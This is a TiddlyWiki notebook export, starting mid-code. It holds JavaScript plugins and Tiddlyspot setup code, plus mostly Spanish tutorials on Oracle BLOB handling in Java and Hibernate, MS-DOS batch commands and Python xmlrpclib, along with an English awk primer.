               setStylesheet(settings.styleHide,"ToggleSideBarStyles");
               sidebar.setAttribute("toggle","hide");
               this.firstChild.data= (this.firstChild.data).replace(settings.arrow2,settings.arrow1);
              }

     return false;
}

setStylesheet(".HideSideBarButton .button {font-weight:bold; padding: 0 5px;}\n","ToggleSideBarButtonStyles");

//}}}
/***
|Name:|ToggleTagPlugin|
|Description:|Makes a checkbox which toggles a tag in a tiddler|
|Version:|3.1.0 ($Rev: 4907 $)|
|Date:|$Date: 2008-05-13 03:15:46 +1000 (Tue, 13 May 2008) $|
|Source:|http://mptw.tiddlyspot.com/#ToggleTagPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Usage
{{{<<toggleTag }}}//{{{TagName TiddlerName LabelText}}}//{{{>>}}}
* TagName - the tag to be toggled, default value "checked"
* TiddlerName - the tiddler to toggle the tag in, default value the current tiddler
* LabelText - the text (gets wikified) to put next to the check box, default value is '{{{[[TagName]]}}}' or '{{{[[TagName]] [[TiddlerName]]}}}'
(If a parameter is '.' then the default will be used)
* TouchMod flag - if non empty then touch the tiddlers mod date. Note, can set config.toggleTagAlwaysTouchModDate to always touch mod date
!!Examples
|Code|Description|Example|h
|{{{<<toggleTag>>}}}|Toggles the default tag (checked) in this tiddler|<<toggleTag>>|
|{{{<<toggleTag TagName>>}}}|Toggles the TagName tag in this tiddler|<<toggleTag TagName>>|
|{{{<<toggleTag TagName TiddlerName>>}}}|Toggles the TagName tag in the TiddlerName tiddler|<<toggleTag TagName TiddlerName>>|
|{{{<<toggleTag TagName TiddlerName 'click me'>>}}}|Same but with custom label|<<toggleTag TagName TiddlerName 'click me'>>|
|{{{<<toggleTag . . 'click me'>>}}}|dot means use default value|<<toggleTag . . 'click me'>>|
!!Notes
* If TiddlerName doesn't exist it will be silently created
* Set label to '-' to specify no label
* See also http://mgtd-alpha.tiddlyspot.com/#ToggleTag2
!!Known issues
* Doesn't smoothly handle the case where you toggle a tag in a tiddler that is current open for editing
* Should convert to use named params
***/
//{{{

if (config.toggleTagAlwaysTouchModDate == undefined) config.toggleTagAlwaysTouchModDate = false;

merge(config.macros,{

	toggleTag: {

		createIfRequired: true,
		shortLabel: "[[%0]]",
		longLabel: "[[%0]] [[%1]]",

		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			var tiddlerTitle = tiddler ? tiddler.title : '';
			var tag   = (params[0] && params[0] != '.') ? params[0] : "checked";
			var title = (params[1] && params[1] != '.') ? params[1] : tiddlerTitle;
			var defaultLabel = (title == tiddlerTitle ? this.shortLabel : this.longLabel);
			var label = (params[2] && params[2] != '.') ? params[2] : defaultLabel;
			var touchMod = (params[3] && params[3] != '.') ? params[3] : "";
			label = (label == '-' ? '' : label); // dash means no label
			var theTiddler = (title == tiddlerTitle ? tiddler : store.getTiddler(title));
			var cb = createTiddlyCheckbox(place, label.format([tag,title]), theTiddler && theTiddler.isTagged(tag), function(e) {
				if (!store.tiddlerExists(title)) {
					if (config.macros.toggleTag.createIfRequired) {
						var content = store.getTiddlerText(title); // just in case it's a shadow
						store.saveTiddler(title,title,content?content:"",config.options.txtUserName,new Date(),null);
					}
					else 
						return false;
				}
				if ((touchMod != "" || config.toggleTagAlwaysTouchModDate) && theTiddler)
						theTiddler.modified = new Date();
				store.setTiddlerTag(title,this.checked,tag);
				return true;
			});
		}
	}
});

//}}}
! 1. Introducción
Para guardar textos largos y ficheros en base de datos se suele recurrir a los ~BLOBs, pero no se pueden usar directamente.

El primer ejemplo es un caso general para almacenar y leer arrays de bytes. Posteriormente se incluye un ejemplo más concreto para leer y escribir cadenas de texto con la ayuda de [[Hibernate]].

! 2. Leer y escribir ~BLOBs binarios
Un BLOB es capaz de almacenar un array de bytes de enorme tamaño (2GB), pero es bastante más complicado de utilizar que otros tipos de datos. Si se leyera el bloque de bytes completo al obtener un BLOB, probablemente se saturaría la red o la memoria del equipo. Por ello, los BLOB se tienen que leer y escribir mediante Streams de tamaño específico (generalmente en bloques de 4KB).

!! 2.1 Lectura de los datos de un BLOB
El siguiente código extrae un array de bytes con la información almacenada en el BLOB.

Para leer la información, obtiene un {{{BinaryStream}}} del blob que lee en bloques de {{{getBufferSize()}}} bytes.
<code java>
    /**
     * Convierte un BLOB en un array de bytes
     * @param blob
     * @return byte[]
     * @throws Exception
     */
    public static byte[] readBlob(BLOB blob) throws Exception {
        byte[] ret;
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        InputStream is = blob.getBinaryStream();
        
        int size = blob.getBufferSize();
        byte[] buffer = new byte[size];
        int length = -1;
        
        //Bucle principal: lee datos del blob en bloques
        while ((length = is.read(buffer)) != -1){
            baos.write(buffer, 0, length);
        }
        
        baos.flush();
        ret = baos.toByteArray();
        
        //Cierra los streams
        is.close();
        baos.close();
        return ret;
    }
</code>

!! 2.2 Escritura de datos en un BLOB
Escribir en un BLOB es algo más complicado que leer. Principalmente porque desde Java no se puede crear un nuevo BLOB. El procedimiento se tiene que dividir en 3 pasos:
# Insertar una fila en base de datos con un BLOB vacío
# Obtener el BLOB recién creado
# Escribir los datos en el BLOB

!!! 2.2.1 Insertar BLOB vacío
Oracle puede crear un nuevo BLOB mediante la función {{{EMPTY_BLOB()}}}. Para crear una nueva fila de datos en la tabla que vaya a albergar el BLOB, se rellenan todas las columnas con la información adecuada, y la colummna (o columnas) de tipo BLOB se rellenan con {{{EMPTY_BLOB()}}}.
<code sql>
INSERT INTO nombreTabla (columna1, columna2, columnaBlob, columna3)
VALUES ('1', 'nombre fichero', EMPTY_BLOB(), SYSDATE());
</code>

!!! 2.2.2 Obtener el BLOB recien creado
Una vez insertada la fila con todos los datos menos el BLOB (que se ha creado vacío), se debe obtener dicho blob
<code java>
byte[] data;
// se obtiene data de donde sea. Data será un array de bytes con la información a guardar

String sql = "SELECT columnaBlob " +
             "FROM nombreTabla " +
             "WHERE columna1 = '1' " +
             "FOR UPDATE";
Statement stmt = connection.createStatement();
OracleResultSet rs = (OracleResultSet)stmt.executeQuery(sql);
if(next()){
    BLOB blob = rs.getBLOB(1);
    
    //Escritura en el blob, se detalla más adelante
    writeBlob(blob, ByteArrayInputStream(data));
    connection.commit();
}
</code>

!!! 2.2.3 Escribir datos en el BLOB
En el paso anterior ya se anticipaba la llamada al misterioso método {{{writeBlob()}}}. Este método es el que escribe los datos en el blob recien obtenido, a partir de un array de bytes llamado {{{data}}}:
<code java>
    /**
     * Escribe un InputStream en un BLOB
     * @param blob BLOB
     * @param is InputStream
     * @throws Exception
     */
    private static void writeBlob(BLOB blob, InputStream is) throws Exception {
        OutputStream os = blob.setBinaryStream(1L);
        int size = blob.getBufferSize();
        byte[] buffer = new byte[size];
        int length = -1;

        //Bucle principal: lee del InputStream y escribe en el OutputStream del blob
        while ((length = is.read(buffer)) != -1){
            os.write(buffer, 0, length);
        }
        
        //Cierra los streams
        is.close();
        os.close();
    }
</code>


! 3. Guardar cadenas de texto en ~BLOBs
El siguiente código sirve para convertir de Blob a array de bytes y viceversa.

Convertir entre objeto {{{Hibernate.Blob}}} y {{{byte[]}}} (y por tanto, String con una simple conversión):

<code java>
/**
 * Funcion interna, lee el blob pasado y lo devuelve como array de byte[]
 * @param fromBlob blob del que leer
 * @return contenido del blob como array de bytes
 */
protected byte[] toByteArray(Blob fromBlob)
{
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
        return toByteArrayImpl(fromBlob, baos);
    }
    catch (Exception e)
    {
        throw new RuntimeException(e);
    }
    finally
    {
        if (baos != null)
        {
            try
            {
                baos.close();
            }
            catch (IOException ex){}
        }
    }
}

/**
 * Funcion interna, lee el blob y lo escribe al array pasado como byte[]
 * @param fromBlob blob del que leer
 * @param baos Stream al que escribir los bytes
 * @return array de bites leido
 */
private byte[] toByteArrayImpl(Blob fromBlob, ByteArrayOutputStream baos) throws SQLException, IOException
{
    if(fromBlob==null)
        return new byte[0];

    byte[] buf = new byte[4000];
    InputStream is = fromBlob.getBinaryStream();
    try {
        for (;;)
        {
            int dataSize = is.read(buf);
            if (dataSize == -1)     break;
            baos.write(buf, 0, dataSize);
        }
    }
    finally
    {
        if (is != null)
        {
            try {
                is.close();
            } catch (IOException ex) {    }
        }
    }
    return baos.toByteArray();
}
</code>
Ejemplo de uso en un bean
<code java>
/** Don't invoke this.  Used by Hibernate only. */
public void setObservacionesBlob(Blob blob)
{
    this.observaciones=blob==null?null:new String(this.toByteArray(blob));
}

/** Don't invoke this.  Used by Hibernate only. */
public Blob getObservacionesBlob()
{
    return Hibernate.createBlob(this.observaciones==null?new byte[0]:this.observaciones.getBytes());
}

public String getObservaciones() {
    return observaciones;
}

public void setObservaciones(String observaciones) {
    this.observaciones = observaciones;
}
</code>

! 4. LOB
El trabajo con otros LOB es similar, pero cambiando BLOB por lo que sea, por ejemplo, por CLOB para cadenas de caracteres largas.

!Más información
* http://download.oracle.com/docs/cd/B28359_01/java.111/b31224/oralob.htm#CHDFHHHG
* http://download.oracle.com/docs/cd/B28359_01/java.111/b31224/oralob.htm#i1058044
!!Trucos para la shell de python^^[[<editar>|$1]]^^
Varios trucos para potenciar la shell de Python
http://sontek.net/tips-and-tricks-for-the-python-interpreter
/***
Description: Contains the stuff you need to use Tiddlyspot
Note, you also need UploadPlugin, PasswordOptionPlugin and LoadRemoteFileThroughProxy
from http://tiddlywiki.bidix.info for a complete working Tiddlyspot site.
***/
//{{{

// edit this if you are migrating sites or retrofitting an existing TW
config.tiddlyspotSiteId = 'rubenpedia';

// make it so you can by default see edit controls via http
config.options.chkHttpReadOnly = false;
window.readOnly = false; // make sure of it (for tw 2.2)
window.showBackstage = true; // show backstage too

// disable autosave in d3
if (window.location.protocol != "file:")
	config.options.chkGTDLazyAutoSave = false;

// tweak shadow tiddlers to add upload button, password entry box etc
with (config.shadowTiddlers) {
	SiteUrl = 'http://'+config.tiddlyspotSiteId+'.tiddlyspot.com';
	SideBarOptions = SideBarOptions.replace(/(<<saveChanges>>)/,"$1<<tiddler TspotSidebar>>");
	OptionsPanel = OptionsPanel.replace(/^/,"<<tiddler TspotOptions>>");
	DefaultTiddlers = DefaultTiddlers.replace(/^/,"[[WelcomeToTiddlyspot]] ");
	MainMenu = MainMenu.replace(/^/,"[[WelcomeToTiddlyspot]] ");
}

// create some shadow tiddler content
merge(config.shadowTiddlers,{

'WelcomeToTiddlyspot':[
 "This document is a ~TiddlyWiki from tiddlyspot.com.  A ~TiddlyWiki is an electronic notebook that is great for managing todo lists, personal information, and all sorts of things.",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //What now?// &nbsp;&nbsp;@@ Before you can save any changes, you need to enter your password in the form below.  Then configure privacy and other site settings at your [[control panel|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/controlpanel]] (your control panel username is //" + config.tiddlyspotSiteId + "//).",
 "<<tiddler TspotControls>>",
 "See also GettingStarted.",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //Working online// &nbsp;&nbsp;@@ You can edit this ~TiddlyWiki right now, and save your changes using the \"save to web\" button in the column on the right.",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //Working offline// &nbsp;&nbsp;@@ A fully functioning copy of this ~TiddlyWiki can be saved onto your hard drive or USB stick.  You can make changes and save them locally without being connected to the Internet.  When you're ready to sync up again, just click \"upload\" and your ~TiddlyWiki will be saved back to tiddlyspot.com.",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //Help!// &nbsp;&nbsp;@@ Find out more about ~TiddlyWiki at [[TiddlyWiki.com|http://tiddlywiki.com]].  Also visit [[TiddlyWiki.org|http://tiddlywiki.org]] for documentation on learning and using ~TiddlyWiki. New users are especially welcome on the [[TiddlyWiki mailing list|http://groups.google.com/group/TiddlyWiki]], which is an excellent place to ask questions and get help.  If you have a tiddlyspot related problem email [[tiddlyspot support|mailto:support@tiddlyspot.com]].",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //Enjoy :)// &nbsp;&nbsp;@@ We hope you like using your tiddlyspot.com site.  Please email [[feedback@tiddlyspot.com|mailto:feedback@tiddlyspot.com]] with any comments or suggestions."
].join("\n"),

'TspotControls':[
 "| tiddlyspot password:|<<option pasUploadPassword>>|",
 "| site management:|<<upload http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/store.cgi index.html . .  " + config.tiddlyspotSiteId + ">>//(requires tiddlyspot password)//<br>[[control panel|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/controlpanel]], [[download (go offline)|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/download]]|",
 "| links:|[[tiddlyspot.com|http://tiddlyspot.com/]], [[FAQs|http://faq.tiddlyspot.com/]], [[blog|http://tiddlyspot.blogspot.com/]], email [[support|mailto:support@tiddlyspot.com]] & [[feedback|mailto:feedback@tiddlyspot.com]], [[donate|http://tiddlyspot.com/?page=donate]]|"
].join("\n"),

'TspotSidebar':[
 "<<upload http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/store.cgi index.html . .  " + config.tiddlyspotSiteId + ">><html><a href='http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/download' class='button'>download</a></html>"
].join("\n"),

'TspotOptions':[
 "tiddlyspot password:",
 "<<option pasUploadPassword>>",
 ""
].join("\n")

});
//}}}
! Introducción
En DOS, OS/2 y Microsoft Windows un archivo batch es un archivo de procesamiento por lotes. Se trata de archivos de texto sin formato, guardados con la extensión BAT que contienen un conjunto de comandos MS-DOS. Cuando se ejecuta este archivo, (mediante command.com) los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Cualquier comando MS-DOS puede ser utilizado en un archivo batch.

Esta es la forma de automatizar procesos (copiar, pegar, renombrar y enviar datos) de MS-DOS así evitamos procesos rutinarios y monotonos, esto es trabajo de máquina. Tiene la funcionalidad de conectarse con otras interfaces por línea de comandos.

Un fichero batch es un archivo de texto que contiene comandos a ejecutar en un intérprete de comandos propio de DOS o OS/2. Cuando es iniciado, un programa shell (típicamente COMMAND.COM o cmd.exe) lo lee y ejecuta, generalmente línea a línea. De este modo, se emplea para ejectuar series de comandos automáticamente. El hecho de que funcione solo para MS-DOS lo hace muy limitado. Su extension es BAT y sus comandos principales son goto, echo, if, type y exit.

! Comandos batch
Hay varios comandos especiales para este tipo de archivos:

!! CALL
Este comando realiza, desde un archivo batch, una llamada a la ejecución de otro archivo batch. El primer archivo no finaliza su ejecución al realizar la llamada. Sintaxis:
{{{
> CALL [unidad_disco:][path]nombre_archivo [parámetros]
}}}
donde {{{[unidad_disco:][path]nombre_archivo}}} es la ruta al archivo batch llamado (debe ser un archivo *.bat) y {{{[parámetros]}}} puede ser cualquier tipo de información que necesite el programa llamado que pueda pasarse el línea de comandos.

!! CHOICE
Ofrece al usuario una entrada de datos para que pueda escoger una opción (escoger una de las letras que se le ofrecen), y espera hasta que esta tenga lugar. Sintaxis:
{{{
> CHOICE [/C[:]letra] [/N] [/S] [/T[:]c,nn] [texto]
}}}
puedes especificar un texto que aparecerá antes de la entrada de datos. No hace falta que se entrecomille, salvo que dicha cadena de texto incluya una barra /.
Parámetros:
* {{{/C[:]letra}}}: especifica las letras que indicarán las opciones del usuario. Si las especificas separadas por comas, aparecerán entre corchetes seguidas de un interrogante. Si no se especifican, se usara YN (si, no) por defecto.
* {{{/N}}}: evita que se muestre el prompt de usuario.
* {{{/S}}}: hace que discrimine entre entrada de letras mayúsculas o minúsculas.
* {{{/T[:]c,nn}}}: introduce un tiempo de espera antes de ejecutar la acción por defecto. Con los siguientes posibles valores:
** {{{c:}}} señala que carácter será usado como opción por defecto después de nn segundos. Solo puedes indicar uno de los carácteres especificados con el modificador /C
** {{{nn:}}} indica el número de segundos de pausa. Valores entre 0 y 99.

!! ECHO
Activa o desactiva el volcado de texto del programa (output) a la pantalla:
{{{
> ECHO [ON|OFF]
> ECHO[mensaje] Parámetros
}}}
Parámetros:
* {{{ON|OFF}}}: activa o desactiva el volcado de texto. Para conocer el estado actual, usar ECHO sin parámetros.
* {{{Mensaje}}}: el texto a mostrar. Tambien podemos mostrar una linea en blanco, añadiendo un punto al final

!! FOR
Ejecuta un comando sobre un grupo de archivos. Puede utilizarse en la línea de comandos o en un archivo bat.
En archivos BAT:
{{{
> FOR %%variable IN (set) DO command [command-parameters]
}}}
En línea de comandos:
{{{
> FOR %variable IN (set) DO command [command-parameters]
}}}
Parámetros:
* {{{%%variable %variable}}}: representa una variable que será reemplazada por su valor. FOR reemplazará {{{%%variable}}} o {{{%variable}}} con la cadena de carácteres especificados en SET hasta que el comando especificado se haya ejecutado sobre todos los archivos. {{{%%variable}}} se emplea con FOR dentro de archivos batch, y {{{%variable}}} desde la linea de comandos.
* {{{(set)}}}: especifica uno o más archivos de texto (o cadenas) que se procesaran con el comando. Necesita paréntesis.
* {{{command}}}: el comando que debe ejecutarse sobre cada archivo especificado en SET parámetros de comando. Podemos emplear el comando con cualquiera de sus parámetros habituales.

!! GOTO
Salta la ejecución del programa hacia la línea indicada:
{{{
> GOTO :label
}}}
Donde {{{:label}}} (advierte los dos puntos) es una etiqueta que identifica la linea. 8 caracteres máximo.

!! IF
Permite la ejecución condicional. Sintaxis:
{{{
> IF [NOT] ERRORLEVEL número comando
> IF [NOT] var1 == var2 comando
> IF [NOT] EXIST nombre_archivo comando
}}}
Parámetros:
* {{{NOT}}}: el comando sujeto a condición se ejecuta solo si esta es falsa.
* {{{ERRORLEVEL número}}}: la condición es verdadera sólo si el comando anterior devuelve un código de salida igual o mayor que el especificado
* {{{command:}}} especifica el comando a ejecutar si la condición se cumple {{{var1 == var2}}}. La condición se cumple solo si {{{var1}}} es igual a {{{var2}}}. {{{var1}}} y {{{var2}}} pueden ser cadenas de texto o variables.
* {{{EXIST nombre_archivo}}}: la condición se cumple si existe {{{nombre_archivo}}}.

!! PAUSE
Suspende la ejecución de comandos y presenta un mensaje para que el usuario presione una tecla para continuar.
{{{
> PAUSE [> null]
}}}
Si se indica {{{[> null]}}} no muestra mensaje al pausar la ejecución, pero sigue requiriendo que el usuario presione cualquier tecla para poder continuar.

!!REM
Línea de comentario. Podemos usar {{{REM}}} o {{{::}}}.

!!SHIFT
Alterna la posición de los parámetros en el archivo bat.

! Parámetros pasados al script batch
Las variables {{{%1}}} a {{{%9}}} almacenan los parámetros que se pasaron al ejecutar el archivo bat. Por ejemplo si tenemos un archivo {{{saludo.bat}}} con el siguiente contenido:
{{{
echo Hola %1
}}}
si lo ejecutamos tecleando {{{saludo.bat pepe}}} presentará en pantalla "Hola Pepe". Se usa por ejemplo para pasar nombres de ficheros a un bat que se encarga de borrarlos, moverlos, etc.

La variable {{{%0}}} representa el nombre del archivo bat en ejecución. La variable {{{%*}}} representa todos los parámetros que se le pasaron.

! Referencia
* Tutorial extraido de: http://es.wikipedia.org/wiki/Batch
* http://en.wikipedia.org/wiki/Batch_file
* http://en.wikibooks.org/wiki/Guide_to_Windows_commands
* http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/batch.mspx?mfr=true
* http://lipas.uwasa.fi/~ts/http/http2.html#cmdscript
* http://www.ignside.net/man/dos/batch.php
* http://www.cristalab.com/tips/programacion-batch-con-archivos-.bat-c48410l/
!Introducción
XML-RPC es un protocolo para ofrecer servicios web. Se basa en el envío de ficheros XML sobre una conexión HTTP. Dentro del fichero XML intercambiado se especifica a que función remota se desea llamar y qué parámetros se le pasarán.

Lo siguiente es un ejemplo de mensaje XML-RPC extraido de http://www.xmlrpc.com/spec 
<code xml>
POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0"?>
<methodCall>
    <methodName>examples.getStateName</methodName>
    <params>
        <param>
            <value><i4>41</i4></value>
        </param>
    </params>
</methodCall> 
</code>
En este ejemplo se pueden apreciar dor partes bien diferenciadas: la cabecera HTTP y el mensaje XML. El método que se quiere invocar se especifica con la sección {{{<methodName>}}}, y los parámetros dentro de la sección {{{<params>}}}. Como se puede ver en el ejemoplo, los mensajes XML-RPC son bastante sencillos y fáciles de entender, y por ello se han hecho bastante populares.

[[Python]] incorpora desde la versión 2.2 una librería nativa llamada [[xmlrpclib|http://docs.python.org/library/xmlrpclib.html]] para llamar a servicios web de este tipo de forma sencilla. La librería se encarga de serializar las llamadas y deserializar los datos devueltos por el servidor.

!Conversión de datos
Estas son las conversiones de datos que realiza implícitamente la librería:
| !Tipo dato | !Conversión |h
|boolean |Constantes {{{True}}} y {{{False}}} |
|enteros |Sin conversión |
|punto flotante |Sin conversión |
|cadena de texto |Sin conversión |
|arrays |Secuencia de [[Python]] con elementos del tipo adecuado. Los arrays se convierten a listas |
|estructuras |Diccionario con claves de texto y valor del tipo adecuado. En caso de clases definidas por el usuario, se transmite sólo el atributo {{{__dict__}}} |
|fechas |En segundos desde el 1 de enero de 1970 o una instancia de {{{datetime.datetime}}} |
|datos binarios |Dentro de una instancia de la clase {{{Binary}}} |

!Obtener datos de un servicio web XML-RPC
Es realmente sencillo. La librería {{{xmlrpclib}}} convierte los nombres de procedimientos remotos en invocaciones de funciones, así que llamar a un procedimiento remoto del servicio web deseado es tan fácil como llamar a una función con los parámetros adecuados.
!! Pasos a seguir:
1- Importar las clases necesarias:
{{{
import xmlrpclib
}}}
2- Crear un servidor-proxy:
{{{
server = xmlrpclib.ServerProxy("http://betty.userland.com")
}}}
3- (Opcional) Comprobar los métodos disponibles:
{{{
print server.system.listMethods()
}}}
4- Llamar a un método remoto y mostrar el resultado:
{{{
try:
    print server.examples.getStateName(41)
except xmlrpclib.Error, v:
    print "ERROR", v
}}}
El ejemplo completo (y funcional) se vería así:
<code python>
import xmlrpclib

server = xmlrpclib.ServerProxy("http://betty.userland.com")
print server
try:
    print "Métodos disponibles:\n%s\n" % server.system.listMethods()
    print "Ejemplo 41: ", server.examples.getStateName(41)
except xmlrpclib.Error, v:
    print "ERROR", v
</code>

! Referencia
* Documentación de la librería: http://docs.python.org/library/index.html
* Especificación de XML-RPC: http://www.xmlrpc.com/spec
* Sección para [[Python]] del Howto: http://www.tldp.org/HOWTO/XML-RPC-HOWTO/xmlrpc-howto-python.html
* XML-RPC Howto: http://www.tldp.org/HOWTO/XML-RPC-HOWTO/index.html
* Artículo interesante: http://www.oreillynet.com/pub/a/python/2001/01/17/xmlrpcserver.html
//Extraido de:// http://doc.ddart.net/shell/awk/

! Introduction
* awk reads from a file or from its standard input, and outputs to its standard output. You will generally want to redirect that into a file, but that is not done in these examples just because it takes up space. awk does not get along with non-text files, like executables and FrameMaker files. If you need to edit those, use a binary editor like hexl-mode in emacs. 
* The most frustrating thing about trying to learn awk is getting your program past the shell's parser. The proper way is to use single quotes around the program, like so: 
<code bash>
>awk '{print $0}' filename 
</code>
* The single quotes protect almost everything from the shell. In csh or tcsh, you still have to watch out for exclamation marks, but other than that, you're safe. 
* The second most frustrating thing about trying to learn awk is the lovely error messages: 
<code bash>
awk '{print $0,}' filename
awk: syntax error near line 1
awk: illegal statement near line 1
</code>

gawk generally has better error messages. At least it tells you where in the line something went wrong: 
<code bash>
gawk '{print $0,}' filename
gawk: cmd. line:1: {print $0,}
gawk: cmd. line:1:           ^ parse error
</code>

 So, if you're having problems getting awk syntax correct, switch to gawk for a while. 

! Some basics:
* Awk recognizes the concepts of "file", "record", and "field". 
* A file consists of records, which by default are the lines of the file. One line becomes one record. 
* Awk operates on one record at a time. 
* A record consists of fields, which by default are separated by any number of spaces or tabs. 
* Field number 1 is accessed with {{{$1}}}, field 2 with {{{$2}}}, and so forth. {{{$0}}} refers to the whole record. 

! Some Samples
 Perhaps the quickest way of learning awk is to look at some sample programs. The one above will print the file in its entirety, just like cat(1). Here are some others, along with a quick description of what they do. 
<code bash>
>awk '{print $2,$1}' filename 
</code>
 will print the second field, then the first. All other fields are ignored. 
<code bash>
>awk '{print $1,$2,sin($3/$2)}' filename 
</code>
 will print the first and second fields, and then the sine of the third field divided by the second. So, the second and third field had better be numbers. Awk has other built in math functions like sine; read the manpage to see which ones. 
 "I still say {{{awk '{print $1}'}}} a lot."
 the inventor of PERL, Larry Wall (lwall@netlabs.com) 
 What if you don't want to apply the program to each line of the file? Say, for example, that you only wanted to process lines that had the first field greater than the second. The following program will do that: 
<code bash>
>awk '$1 > $2 {print $1,$2,$1-$2}' filename 
</code>
 The part outside the curly braces is called the "pattern", and the part inside is the "action". The comparison operators include the ones from C: 

<code bash>
== != < > <= >= ?:
</code>

 If no pattern is given, then the action applies to all lines. This fact was used in the sample programs above. If no action is given, then the entire line is printed. If "print" is used all by itself, the entire line is printed. Thus, the following are equivalent: 
<code bash>
awk '$1 > $2'           filename
awk '$1 > $2{print}'    filename
awk '$1 > $2{print $0}' filename
</code>

 The various fields in a line can also be treated as strings instead of numbers. To compare a field to a string, use the following method: 
<code bash>
>awk '$1=="foo"{print $2}' filename 
</code>
 
! Using regular expressions
 What if you want lines in which a certain string is found? Just put a regular expression (in the manner of egrep(1) ) into the pattern, like so: 
<code bash>
>awk '/foo.*bar/{print $1,$3}' filename 
</code>
 This will print all lines containing the word "foo" and then later the word "bar". If you want only those lines where "foo" occurs in the second field, use the ~ ("contains") operator: 
<code bash>
>awk '$2~/foo/{print $3,$1}' filename 
</code>
 If you want lines where "foo" does not occur in the second field, use the negated ~ operator, !~ 
<code bash>
>awk '$2!~/foo/{print $3,$1}' filename 
</code>
 This operator can be read as "does not contain". 
 
! Booleans
 You can produce complicated patterns with the boolean operators from C, which are ! for "not", && for "and", and || for "or". Parentheses can be used for grouping. 

! Start and End
 There are three special forms of patterns that do not fit the above descriptions. One is the start-end pair of regular expressions. For example, to print all lines between and including lines that contained "foo" and "bar", you would use 
<code bash>
>awk '/foo/,/bar/' filename 
</code>

! Begin and End
 The other two special forms are similar; they are the BEGIN and END patterns. Any action associated with the BEGIN pattern will happen before any line-by-line processing is done. Actions with the END pattern will happen after all lines are processed. 
 But how do you put more than one pattern-action pair into an awk program? There are several choices. 
* One is to just mash them together, like so: 
<code bash>
>awk 'BEGIN{print"fee"} $1=="foo"{print"fi"} END{print"fo fum"}' filename
</code>
* Another choice is to put the program into a file, like so: 
<code bash>
BEGIN{print"fee"}
$1=="foo"{print"fi"}
END{print"fo fum"}
</code>
 Let's say that's in the file giant.awk. Now, run it using the "-f" flag to awk: 
<code bash>
>awk -f giant.awk filename 
</code>
* A third choice is to create a file that calls awk all by itself. The following form will do the trick: 
<code bash>
#!/usr/bin/awk -f
BEGIN{print"fee"}
$1=="foo"{print"fi"}
END{print"fo fum"} 
</code>
 If we call this file giant2.awk, we can run it by first giving it execute permissions, 
<code bash>
>chmod u+x giant2.awk 
</code>
 and then just call it like so: 
<code bash>
>./giant2.awk filename 
</code>
 awk has variables that can be either real numbers or strings. For example, the following code prints a running total of the fifth column: 
<code bash>
>awk '{print x+=$5,$0 }' filename 
</code>
 This can be used when looking at file sizes from an "ls -l". It is also useful for balancing one's checkbook, if the amount of the check is kept in one column. 

! Awk variables
 awk variables are initialized to either zero or the empty string the first time they are used. Which one depends on how they are used, of course. 
 Variables are also useful for keeping intermediate values. This example also introduces the use of semicolons for separating statements: 
<code bash>
>awk '{d=($2-($1-4));s=($2+$1);print d/sqrt(s),d*d/s }' filename 
</code>
 Note that the final statement, a "print" in this case, does not need a semicolon. It doesn't hurt to put it in, though. 
* Integer variables can be used to refer to fields. If one field contains information about which other field is important, this script will print only the important field: 
<code bash>
>awk '{imp=$1; print $imp }' filename 
</code>
* The special variable NF tells you how many fields are in this record. This script prints the first and last field from each record, regardless of how many fields there are: 
<code bash>
>awk '{print $1,$NF }' filename 
</code>
* The special variable NR tells you which record this is. It is incremented each time a new record is read in. This gives a simple way of adding line numbers to a file: 
<code bash>
>awk '{print NR,$0 }' filename 
</code>
 Of course, there are a myriad of other ways to put line numbers on a file using the various UNIX utilities. This is left as an exercise for the reader. 
* The special variable FS (Field Separator) determines how awk will split up each record into fields. This variable can be set on the command line. For example, /etc/passwd has its fields separated by colons. 
<code bash>
>awk -F: '{print $1,$3 }' /etc/passwd 
</code>
 This variable can actually be set to any regular expression, in the manner of egrep(1). 
 The various fields are also variables, and you can assign things to them. If you wanted to delete the 10th field from each line, you could do it by printing fields 1 through 9, and then from 11 on using a for-loop (see below). But, this will do it very easily: 
<code bash>
>awk '{$10=""; print }' filename 
</code>
 In many ways, awk is like C. The "for", "while", "do-while", and "if" constructs all exist. Statements can be grouped with curly braces. This script will print each field of each record on its own line. 
<code bash>
>awk '{for(i=1;i<=NF;i++) print $i }' filename 
</code>
 If you want to produce format that is a little better formatted than the "print" statement gives you, you can use "printf" just like in C. Here is an example that treats the first field as a string, and then does some numeric stuff 
<code bash>
>awk '{printf("%s %03d %02d %.15g\n",$1,$2,$3,$3/$2); }' filename 
</code>
 Note that with printf, you need the explicit newline character. 
 We can use "printf" to print stuff without the newline, which is useful in a for loop. This script prints each record with each of its fields reversed. Ok, so it isn't very useful. 
<code bash>
>awk '{for(i=NF;i > 0;i--) printf("%s",$i); printf("\n"); }' filename 
</code>
 
!Awk Arrays
 awk has arrays, but they are only indexed by strings. This can be very useful, but it can also be annoying. For example, we can count the frequency of words in a document (ignoring the icky part about printing them out): 
<code bash>
>awk '{for(i=1;i <=NF;i++) freq[$i]++ }' filename 
</code>
 The array will hold an integer value for each word that occurred in the file. Unfortunately, this treats "foo", "Foo", and "foo," as different words. Oh well. How do we print out these frequencies? awk has a special "for" construct that loops over the values in an array. This script is longer than most command lines, so it will be expressed as an executable script: 
<code bash>
#!/usr/bin/awk -f
{for(i=1;i <=NF;i++) freq[$i]++ }
END{for(word in freq) print word, freq[word]  }
</code>

